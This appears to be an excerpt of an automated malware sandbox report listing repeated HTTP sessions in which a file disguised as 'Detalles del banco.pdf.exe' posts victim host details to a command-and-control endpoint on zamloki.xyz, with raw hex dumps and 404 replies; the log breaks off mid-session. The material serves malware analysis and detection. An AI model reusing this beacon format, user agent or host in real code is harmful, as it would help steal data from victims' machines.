73	192.168.2.6	49815	172.67.155.45	80	C:\Users\user\Desktop\Detalles del banco.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Jul 27, 2021 22:08:05.267945051 CEST	7004	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 169 Connection: close
Jul 27, 2021 22:08:05.295012951 CEST	7004	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 38 00 34 00 31 00 36 00 31 00 38 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer841618DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Jul 27, 2021 22:08:05.570265055 CEST	7005	IN	HTTP/1.1 404 Not Found Date: Tue, 27 Jul 2021 20:08:05 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=K5u%2F43rAc%2BmVk6N66ZTt26r92Z2zxTKFOA2e%2BTJrHzgXneOEVauEQBhcB8bm5Ag2QU9DYC1Ooq3%2Bgf8BMAH23saOC3Jd%2B3ByIdPNa6KwI%2BZBj2SzYwJGZzkBMteTIw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67587f68fe464e74-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
74	192.168.2.6	49817	172.67.155.45	80	C:\Users\user\Desktop\Detalles del banco.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Jul 27, 2021 22:08:05.894109964 CEST	7007	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 169 Connection: close
Jul 27, 2021 22:08:05.922910929 CEST	7011	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 38 00 34 00 31 00 36 00 31 00 38 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer841618DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Jul 27, 2021 22:08:06.174494028 CEST	7013	IN	HTTP/1.1 404 Not Found Date: Tue, 27 Jul 2021 20:08:06 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=HBimBw4H%2FJHxLDeY5BawTbA4fdxUSqhyR2zY835zlmRd1%2FxT0FAkBW7jlRuzjr1kp%2BJoPwcYdZp7Mu%2Bi8QFb2t8MBO4D2hxs1I19qJ8WrcL1yxRsyKDku15fvByaEA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67587f6ce91742c9-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
75	192.168.2.6	49818	172.67.155.45	80	C:\Users\user\Desktop\Detalles del banco.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Jul 27, 2021 22:08:06.411175966 CEST	7016	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 169 Connection: close
Jul 27, 2021 22:08:06.442347050 CEST	7017	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 38 00 34 00 31 00 36 00 31 00 38 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer841618DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Jul 27, 2021 22:08:06.708158016 CEST	7017	IN	HTTP/1.1 404 Not Found Date: Tue, 27 Jul 2021 20:08:06 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=r6j0351QdeY8%2BeUdCnkIlfIAuiVAruVbS5Jd%2Bvi8dYFaCbnvDOGim9eEd0tXdvGW0j0DNqb69aQhG0NY7X9tFhtmYa3GR8RILDTWj1kS5VrpnYe94JfJWBUsZT5uMg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67587f70285b9730-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
76	192.168.2.6	49819	172.67.155.45	80	C:\Users\user\Desktop\Detalles del banco.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Jul 27, 2021 22:08:06.971579075 CEST	7018	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 169 Connection: close
Jul 27, 2021 22:08:06.999284983 CEST	7018	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 38 00 34 00 31 00 36 00 31 00 38 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer841618DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Jul 27, 2021 22:08:07.280999899 CEST	7019	IN	HTTP/1.1 404 Not Found Date: Tue, 27 Jul 2021 20:08:07 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=LG64wacSvAaefMp4dtHZqDjuq3D%2BE9%2FvjhG4bBF7b0cRKuzkKj9h1GAutDUTGf7glqcwC31ltsHyewORB9mzfy00Mq3B6kGwMXVhQeLZIMSKfMKnNJi6EUIBL70Jmg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67587f7398504a61-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
77	192.168.2.6	49820	172.67.155.45	80	C:\Users\user\Desktop\Detalles del banco.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Jul 27, 2021 22:08:07.564483881 CEST	7020	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 169 Connection: close
Jul 27, 2021 22:08:07.592519045 CEST	7020	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 38 00 34 00 31 00 36 00 31 00 38 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer841618DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Jul 27, 2021 22:08:07.882185936 CEST	7021	IN	HTTP/1.1 404 Not Found Date: Tue, 27 Jul 2021 20:08:07 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=P%2BXKfr03%2FMDnmrkWzQakGT6XGzYMEB2hA0cQtvX91mHk8B7JfRvSwoyqY%2FMgpaBo577G8ZxOGDFUoP3W%2BvRxztHA%2Bsiwxp1oXXD89tYbbzMYTr0LR4C6N9EGeBjqcQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67587f775f1243b8-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
78	192.168.2.6	49821	172.67.155.45	80	C:\Users\user\Desktop\Detalles del banco.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Jul 27, 2021 22:08:08.179234028 CEST	7022	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 169 Connection: close
Jul 27, 2021 22:08:08.207282066 CEST	7022	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 38 00 34 00 31 00 36 00 31 00 38 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer841618DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Jul 27, 2021 22:08:08.485280991 CEST	7023	IN	HTTP/1.1 404 Not Found Date: Tue, 27 Jul 2021 20:08:08 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=an6fHGDSmINGHeFjn6s1Wi3xeZrtNPOJ35xL57Xfy0Xs2AD61Om2YY3%2Bu9DAEu8A8Sx%2Folg0tuG6RMWvFBrG5jxFJ%2Bu0aco%2BcjnyzkEK6YpqARDZgoDf6n0IoEyMuA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67587f7b2c5096c2-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
79	192.168.2.6	49822	172.67.155.45	80	C:\Users\user\Desktop\Detalles del banco.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Jul 27, 2021 22:08:08.775049925 CEST	7026	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 169 Connection: close
Jul 27, 2021 22:08:08.803093910 CEST	7026	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 38 00 34 00 31 00 36 00 31 00 38 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer841618DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Jul 27, 2021 22:08:09.125595093 CEST	7028	IN	HTTP/1.1 404 Not Found Date: Tue, 27 Jul 2021 20:08:09 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=GOZveEmwb3kugr5bUJVMjhYYYaEOPtKau0hohxltWByf9aXgIThM7HrIbdj%2Brj2pz7lzDsQAY4Qe54QdXtXY8js4094OWWwZwOLUQNXpH%2FpHL6FtCdTHaLNhizJo3g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67587f7eeff34eeb-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.2.6	49733	172.67.155.45	80	C:\Users\user\Desktop\Detalles del banco.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Jul 27, 2021 22:07:22.669529915 CEST	1454	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 169 Connection: close
Jul 27, 2021 22:07:22.695631981 CEST	1454	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 38 00 34 00 31 00 36 00 31 00 38 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer841618DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Jul 27, 2021 22:07:23.086869001 CEST	1465	IN	HTTP/1.1 404 Not Found Date: Tue, 27 Jul 2021 20:07:23 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=X6VJLw44MtYyLH1pQJBPTy91pgs%2BZT9RzUsyHTzMQruP%2Bg2oFwIgvm8f9cKpNir4X%2BXhxK7PfZs3ZsxkGWMepMly2KTHNWhVJCjyZKMC2XpUgPsxca2nUSOexLWGDg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67587e5eb9d00610-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
80	192.168.2.6	49824	172.67.155.45	80	C:\Users\user\Desktop\Detalles del banco.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Jul 27, 2021 22:08:09.447356939 CEST	7035	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 169 Connection: close
Jul 27, 2021 22:08:09.476670980 CEST	7035	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 38 00 34 00 31 00 36 00 31 00 38 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer841618DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Jul 27, 2021 22:08:09.747018099 CEST	7036	IN	HTTP/1.1 404 Not Found Date: Tue, 27 Jul 2021 20:08:09 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=zY43ilppRXRe4l1XP2IggGi7a%2BV9xl47V61OstTDoL%2FcMSVViBCGelJCxq%2F7VtdC7UbkjQJT7ql4X%2BMFkAKb3jjpsGzfR5pJyM14fCx%2F8m9qnP7CZWX%2BwBISxPJZnQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67587f831d19325c-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
81	192.168.2.6	49825	172.67.155.45	80	C:\Users\user\Desktop\Detalles del banco.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Jul 27, 2021 22:08:10.454438925 CEST	7037	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 169 Connection: close
Jul 27, 2021 22:08:10.482254982 CEST	7037	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 38 00 34 00 31 00 36 00 31 00 38 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer841618DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Jul 27, 2021 22:08:10.726717949 CEST	7038	IN	HTTP/1.1 404 Not Found Date: Tue, 27 Jul 2021 20:08:10 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=3JLN%2BDTQprEkBzkTlF8L4Opze63Aq0kLHqxgRPFffdozzr0hdGJtk8BDuezgRYAmTI69VqA9LQfRm6b57XR8lTeiRbbIEh%2BXFkjpEFF%2BCEZ8WugR%2FYWcfjEoOdqNug%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67587f8968ae4357-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
82	192.168.2.6	49826	172.67.155.45	80	C:\Users\user\Desktop\Detalles del banco.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Jul 27, 2021 22:08:11.011486053 CEST	7039	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 169 Connection: close
Jul 27, 2021 22:08:11.037436008 CEST	7039	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 38 00 34 00 31 00 36 00 31 00 38 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer841618DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Jul 27, 2021 22:08:11.286854029 CEST	7040	IN	HTTP/1.1 404 Not Found Date: Tue, 27 Jul 2021 20:08:11 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=PDLYIU4dIu%2B7agakiWAOiM%2BHJln7JFnc03Zd1pvLLbGobQQ7dnOW0L7WZ8RNCRz2R9%2BuWkixRWtQAkyDqRTKwWs5CWPXkyXatkjHdALNo2sPYQepX0j%2FfdyTPRIkfg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67587f8cddcb4e2c-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
83	192.168.2.6	49827	172.67.155.45	80	C:\Users\user\Desktop\Detalles del banco.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Jul 27, 2021 22:08:11.688473940 CEST	7040	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 169 Connection: close
Jul 27, 2021 22:08:11.718441010 CEST	7041	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 38 00 34 00 31 00 36 00 31 00 38 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer841618DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Jul 27, 2021 22:08:12.002752066 CEST	7041	IN	HTTP/1.1 404 Not Found Date: Tue, 27 Jul 2021 20:08:11 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=mk3tdNgN%2BhhaM9k33gzjlEcAz5jGSh9uu4AxcgBrEOdygWTU3fV1Ll9eTWgtnn%2B%2Bb%2Bj0bU%2FgAwxod%2Fajgb9KqXcHULt9rr07jhjebej4%2FE77KL8B5AOoasMtoH7m5w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67587f912bad05f9-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
84	192.168.2.6	49828	172.67.155.45	80	C:\Users\user\Desktop\Detalles del banco.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Jul 27, 2021 22:08:12.259210110 CEST	7042	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 169 Connection: close
Jul 27, 2021 22:08:12.285024881 CEST	7043	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 38 00 34 00 31 00 36 00 31 00 38 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer841618DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Jul 27, 2021 22:08:12.548115969 CEST	7043	IN	HTTP/1.1 404 Not Found Date: Tue, 27 Jul 2021 20:08:12 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=5ElxGFZqDCcELwdZ9Tkk%2FrIJull0iSeJY5qbyLQ%2FcGCRVDM6Q4X4HTTLGWEBFaqGwn9PYhxdV6ECFeSCmCbbT0ldZXLa34wOrvYS2i1AWkBnAmodEPcHeG7WhBjZHw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67587f94ac2f4e44-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
85	192.168.2.6	49829	172.67.155.45	80	C:\Users\user\Desktop\Detalles del banco.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Jul 27, 2021 22:08:12.801676989 CEST	7044	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 169 Connection: close
Jul 27, 2021 22:08:12.829612970 CEST	7044	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 38 00 34 00 31 00 36 00 31 00 38 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer841618DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Jul 27, 2021 22:08:13.077017069 CEST	7045	IN	HTTP/1.1 404 Not Found Date: Tue, 27 Jul 2021 20:08:13 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=Jr4439mQFkDfJr%2FyqK%2BNLe3Bfz69292Rt9iT1wniVblXGGRAjrb42VZhOL8blTLRwP9sQ8b1PrcBgMXPlaCxHfxaS0ZcdfA57ih6uPwLxEE0p1juvwDmBMaHFqRGQg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67587f9818284e50-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
86	192.168.2.6	49830	172.67.155.45	80	C:\Users\user\Desktop\Detalles del banco.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Jul 27, 2021 22:08:13.334928989 CEST	7046	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 169 Connection: close
Jul 27, 2021 22:08:13.360713959 CEST	7046	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 38 00 34 00 31 00 36 00 31 00 38 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer841618DESKTOP-716T77108F9C4E9C79A3B52B3F739430
